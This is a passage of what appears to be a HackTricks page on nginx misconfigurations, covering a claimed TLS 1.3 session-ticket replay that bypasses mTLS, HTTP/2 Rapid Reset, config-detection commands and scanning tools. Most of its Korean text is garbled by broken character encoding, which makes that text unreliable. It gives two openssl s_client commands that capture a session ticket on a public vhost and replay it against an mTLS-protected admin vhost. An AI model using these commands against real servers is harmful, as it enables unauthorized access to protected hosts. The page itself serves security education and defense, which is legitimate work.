2์ ๊ถ๊ณ ๋ฌธ์ OpenSSL๋ก ๋น๋๋ nginx 1.11.4โ1.27.3์์ ํ๋์ name-based virtual host์์ ๋ฐ์ํ reusing a TLS 1.3 session์ ๋ค๋ฅธ ํธ์คํธ์์ ๋ค์ ์ฌ์ฉํ ์ ์๊ฒ ๋์ด, certificate-free host์์ ์ฐ๊ฒฐ์ ์ฑ๋ฆฝํ ํด๋ผ์ด์ธํธ๊ฐ ticket/PSK๋ฅผ ์ฌ์(replay)ํด ssl_verify_client on;์ผ๋ก ๋ณดํธ๋ vhost๋ก ์นจํฌํ๊ณ mTLS๋ฅผ ์์ ํ ์ฐํํ ์ ์๋ค๊ณ ๊ณต๊ฐํ์ต๋๋ค. ์ด ๋ฒ๊ทธ๋ ์ฌ๋ฌ virtual hosts๊ฐ ๋์ผํ TLS 1.3 session cache์ tickets๋ฅผ ๊ณต์ ํ ๋ ํธ๋ฆฌ๊ฑฐ๋ฉ๋๋ค(์๋์ 2025 nginx ๊ถ๊ณ ๋ฌธ ์ฐธ์กฐ).
๊ณต๊ฒฉ์ ํ๋ ์ด๋ถ
# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem
# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
๋์์ด ์ทจ์ฝํ ๊ฒฝ์ฐ, ๋ ๋ฒ์งธ ํธ๋์ ฐ์ดํฌ๋ ํด๋ผ์ด์ธํธ ์ธ์ฆ์๋ฅผ ์ ์ํ์ง ์๊ณ ์๋ฃ๋์ด ๋ณดํธ๋ ์์น๊ฐ ๋ ธ์ถ๋ฉ๋๋ค.
๊ฒํ ํ ํญ๋ชฉ
server_name๋ธ๋ก ์คssl_session_cache shared:SSL๋ฐssl_session_tickets on;์ ๊ณต์ ํ๋ ํผํฉ๋ ๊ตฌ์ฑ.- mTLS๋ฅผ ๊ธฐ๋ํ์ง๋ง ๊ณต์ฉ ํธ์คํธ๋ก๋ถํฐ ๊ณต์ ๋ ์ธ์ ์บ์/ํฐ์ผ ์ค์ ์ ์์๋ฐ๋ Admin/API ๋ธ๋ก.
- vhost ๊ฒฉ๋ฆฌ๋ฅผ ๊ณ ๋ คํ์ง ์๊ณ TLS 1.3 ์ธ์ ์ฌ๊ฐ๋ฅผ ์ ์ญ์ ์ผ๋ก ํ์ฑํํ๋ ์๋ํ(์: Ansible roles).
HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)
The HTTP/2 Rapid Reset attack (CVE-2023-44487) still affects nginx when operators crank keepalive_requests or http2_max_concurrent_streams beyond the defaults: an attacker opens one HTTP/2 connection, floods it with thousands of streams, then immediately issues RST_STREAM frames so the concurrency ceiling is never reached while CPU keeps burning on tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) keep the blast radius small; pushing those limits โsubstantially higherโ makes it trivial to starve workers even from a single client (see the F5 write-up referenced below).
ํ์ง ํ
# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/
ํด๋น ์ง์๋ฌธ๋ค์ ๋ํด ๋น์ ์์ ์ผ๋ก ๋์ ๊ฐ์ ๋
ธ์ถํ๋ ํธ์คํธ๋ ์ฃผ์ ํ์ ์
๋๋ค: ํ๋์ HTTP/2 ํด๋ผ์ด์ธํธ๊ฐ ์คํธ๋ฆผ ์์ฑ๊ณผ ์ฆ์ RST_STREAM ํ๋ ์์ ๋ฐ๋ณตํ์ฌ ๋์์ฑ ํ๋๋ฅผ ์ด๊ณผ์ํค์ง ์์ผ๋ฉด์๋ CPU๋ฅผ ๊ณ ๊ฐ์ํฌ ์ ์์ต๋๋ค.
์ง์ ์๋ํด๋ณด๊ธฐ
Detectify๋ ์ด ๋ฌธ์์์ ๋ ผ์๋ ๋ช ๊ฐ์ง ์๋ชป๋ ๊ตฌ์ฑ์ผ๋ก ์ทจ์ฝํ Nginx ํ ์คํธ ์๋ฒ๋ฅผ Docker๋ก ์ค์ ํด ์ง์ ์ฐพ์๋ณผ ์ ์๋ GitHub ์ ์ฅ์๋ฅผ ๋ง๋ค์์ต๋๋ค!
https://github.com/detectify/vulnerable-nginx
์ ์ ๋ถ์ ๋๊ตฌ
gixy-ng & Gixy-Next & GIXY
- Gixy-Next (an updated fork of GIXY) ๋ Nginx ์ค์ ์ ๋ถ์ํ์ฌ ์ทจ์ฝํ ์ง์๋ฌธ, ์์ ํ์ง ์์ ์ง์๋ฌธ ๋ฐ ์ํํ ์๋ชป๋ ๊ตฌ์ฑ์ ์ฐพ์๋ด๋ ๋๊ตฌ์ ๋๋ค. ๋ํ ์ฑ๋ฅ์ ์ํฅ์ ์ฃผ๋ ์๋ชป๋ ๊ตฌ์ฑ๊ณผ ๋๋ฝ๋ ๋ณด์ ๊ฐํ ๊ธฐํ๋ฅผ ์ฐพ์ ์๋ํ๋ ๊ฒฐํจ ํ์ง๋ฅผ ์ ๊ณตํฉ๋๋ค.
- gixy-ng (the actively maintained fork of GIXY) ๋ Nginx ์ค์ ์ ๋ถ์ํ์ฌ ์ทจ์ฝํ ์ง์๋ฌธ, ์์ ํ์ง ์์ ์ง์๋ฌธ ๋ฐ ์ํํ ์๋ชป๋ ๊ตฌ์ฑ์ ์ฐพ์๋ด๋ ๋๊ตฌ์ ๋๋ค. ๋ํ ์ฑ๋ฅ์ ์ํฅ์ ์ฃผ๋ ์๋ชป๋ ๊ตฌ์ฑ๊ณผ ๋๋ฝ๋ ๋ณด์ ๊ฐํ ๊ธฐํ๋ฅผ ์ฐพ์ ์๋ํ๋ ๊ฒฐํจ ํ์ง๋ฅผ ์ ๊ณตํฉ๋๋ค.
Nginxpwner
Nginxpwner๋ ์ผ๋ฐ์ ์ธ Nginx ๊ตฌ์ฑ ์ค๋ฅ์ ์ทจ์ฝ์ ์ ์ฐพ์๋ณด๋ ๊ฐ๋จํ ๋๊ตฌ์ ๋๋ค.
์ฐธ๊ณ ์๋ฃ
- https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/
- http://blog.zorinaq.com/nginx-resolver-vulns/
- https://github.com/yandex/gixy/issues/115
- https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html
- https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html
- https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


